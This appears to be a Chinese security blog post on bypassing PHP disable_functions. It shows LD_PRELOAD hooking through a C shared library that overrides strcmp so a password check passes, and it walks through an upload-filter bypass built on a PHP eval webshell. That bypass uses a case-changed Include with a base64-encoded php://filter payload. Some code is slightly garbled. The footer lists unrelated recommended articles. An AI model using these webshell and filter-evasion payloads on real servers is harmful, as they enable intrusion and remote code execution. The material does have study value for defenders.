通过LD_PRELOAD绕过disable_functions

LD_PRELOAD

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime

linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

具体的操作步骤如下:

1.定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。

2.将所写的 c 文件编译为动态链接库。

3.对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了

结束攻击,使用命令 unset LD_PRELOAD 即可

whoami.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char name\[\] = "mon";
if (argc < 2) {
printf("usage: %s <given-name>\n", argv0);
return 0;
}
if (!strcmp(name, argv1)) {
printf("\033[0;32;32mYour name Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mYour name Wrong!\n\033[m");
return 0;
}
}

接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数

hook_strcmp.c

#include <stdlib.h>

#include <string.h>

int strcmp(const char *s1, const char *s2) {

if (getenv("LD_PRELOAD") == NULL) {

return 0;

}

unsetenv("LD_PRELOAD");

return 0;

}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

然后进行编译,并且通过hook_strcmp.c 生成一个动态链接文件如下代码:

root@kunkun-virtual-machine:~# gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

gcc -o whoami whoami.c

测试

root@kunkun-virtual-machine:~# ./whoami aaa

You Name Wrong!

我们再加载一下环境变量,加载了环境变量后就意味着我们劫持成功了,

export LD_PRELOAD=$PWD/hook_strcmp.so

root@kunkun-virtual-machine:~# ./whoami aaa

You Name Correct

绕过过滤

直接写一句话后门

<?php eval($_POST1); ?>

然后上传成功,拿到文件名

但是想要执行,反引号被ban了

那就用到php://filter解码一句话后门,然后再结合include:

php://filter/read=convert.base64-decode/resource=可以让后面的内容以php文件执行

include可以让php文件自动执行

那么就可以写成

<?php Includ("php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php"); ?>

思路就是利用伪协议让后门可执行,然后利用include自动执行

问题1.include被过滤了

php函数不区分大小写,所以改成Include即可

问题2.伪协议被过滤了

将php://filter/read=convert.base64-decode/resource=5032242ac3f2c4552f7026dd956f4113.php

整个进行base64编码即可

最后payload为:

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPTUwMzIyNDJhYzNmMmM0NTUyZjcwMjZkZDk1NmY0MTEzLnBocA==")); ?>

相关推荐
古法老登瞎折腾4 小时前
大数据智能运维实战(三):实现第一个运维 MCP 工具——查询节点与组件状态
java·大数据·运维·人工智能·spring ai·mcp
fengkai45454 小时前
2、Kubernetes 介绍+安装+卸载
运维·容器·kubernetes
重生之小比特4 小时前
【Linux系统】13 基础IO(上)
linux·运维·服务器
CCCCCCCCharlie4 小时前
从0到1:一个字节的磁盘之旅
linux·开发语言·c++
羑悻的小杀马特4 小时前
超越Bridge:全面掌握Docker网络隔离与通信的底层逻辑!
运维·网络·docker·容器
运维小斌4 小时前
麒麟 V10 ARM64 离线部署 OceanBase:8 步实施手册
linux·数据库·oceanbase·麒麟
着迷不白4 小时前
生产环境标准的Linux系统安装到服务器
linux·云计算
A-刘晨阳4 小时前
Windows硬盘里的媒体太乱?我用WSL+Plex把本地文件整理成一个统一媒体中心
运维·cpolar
吹什么轩4 小时前
linux系统复习:进程优先级与O(1)调度
java·linux·算法
古法老登瞎折腾4 小时前
大数据智能运维实战(六):任务一直在等——排查调度队列与执行资源
java·大数据·运维·spring ai·mcp